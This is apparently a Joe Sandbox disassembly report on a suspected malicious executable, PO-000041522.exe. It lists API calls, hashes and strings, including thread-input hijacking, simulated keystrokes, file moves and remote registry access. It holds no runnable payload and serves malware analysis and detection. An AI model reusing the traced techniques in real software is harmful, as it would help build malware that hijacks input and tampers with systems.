                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                                                • String ID:
                                                                                                • API String ID: 3771399671-0
                                                                                                • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                                                • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                                • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                                • String ID:
                                                                                                • API String ID: 3413494760-0
                                                                                                • Opcode ID: 2c3aa911d3142a94611b5dd104ad418424d97c02f1276b65d2889a8cb8445575
                                                                                                • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                                • Opcode Fuzzy Hash: 2c3aa911d3142a94611b5dd104ad418424d97c02f1276b65d2889a8cb8445575
                                                                                                • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                                APIs
                                                                                                • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                                • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                                • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                                • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                • String ID:
                                                                                                • API String ID: 2156557900-0
                                                                                                • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                                • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsicoll
                                                                                                • String ID: 0%d$DOWN$OFF
                                                                                                • API String ID: 3832890014-468733193
                                                                                                • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                                                • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                                                APIs
                                                                                                • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                                • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                                • VariantClear.OLEAUT32 ref: 0045E970
                                                                                                • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                                • __swprintf.LIBCMT ref: 0045EB1F
                                                                                                • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                                • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                                Strings
                                                                                                • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                                • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                • API String ID: 43541914-1568723262
                                                                                                • Opcode ID: 9e3ddb31444d785350a81d0d6b80f1da2c981433f5af532fa48537ba52fe52cf
                                                                                                • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                                • Opcode Fuzzy Hash: 9e3ddb31444d785350a81d0d6b80f1da2c981433f5af532fa48537ba52fe52cf
                                                                                                • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                                APIs
                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                                                • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DecrementInterlocked$Sleep
                                                                                                • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                                                • API String ID: 2250217261-3412429629
                                                                                                • Opcode ID: 8ee3dc3b90658de1bdba7935e7c509bae4c97cbbd898303c1487c3161a53cb39
                                                                                                • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                                                                                                • Opcode Fuzzy Hash: 8ee3dc3b90658de1bdba7935e7c509bae4c97cbbd898303c1487c3161a53cb39
                                                                                                • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                • API String ID: 0-1603158881
                                                                                                • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                                                • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 00479D1F
                                                                                                • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                                • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                                • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                                  • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                                  • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                                  • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                                • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                                  • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                  • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                                • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                • API String ID: 665237470-60002521
                                                                                                • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                                • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                • String ID: HH
                                                                                                • API String ID: 535477410-2761332787
                                                                                                • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                                • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 0045F317
                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                                • IsMenu.USER32(?), ref: 0045F380
                                                                                                • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                                • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                                • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                                • String ID: 0$2
                                                                                                • API String ID: 3311875123-3793063076
                                                                                                • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                                • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                                APIs
                                                                                                • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\PO-000041522.exe), ref: 0043719E
                                                                                                • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                                • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                                • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                                • _printf.LIBCMT ref: 004371EC
                                                                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                                Strings
                                                                                                • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                                • C:\Users\user\Desktop\PO-000041522.exe, xrefs: 00437189
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: HandleLoadModuleString$Message_printf
                                                                                                • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\PO-000041522.exe
                                                                                                • API String ID: 220974073-3356106888
                                                                                                • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                                • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                                                • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                                                APIs
                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO-000041522.exe,?,C:\Users\user\Desktop\PO-000041522.exe,004A8E80,C:\Users\user\Desktop\PO-000041522.exe,0040F3D2), ref: 0040FFCA
                                                                                                  • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                                                • String ID:
                                                                                                • API String ID: 978794511-0
                                                                                                • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                                                • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                                                • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                                                APIs
                                                                                                  • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                                  • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                                  • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                                • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                                • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                                • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                                • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                                • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                                • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                • String ID:
                                                                                                • API String ID: 2014098862-0
                                                                                                • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                                                • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressProc_malloc$_strcat_strlen
                                                                                                • String ID: AU3_FreeVar
                                                                                                • API String ID: 2184576858-771828931
                                                                                                • Opcode ID: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                                                • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                                • Opcode Fuzzy Hash: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                                                • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                                APIs
                                                                                                • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
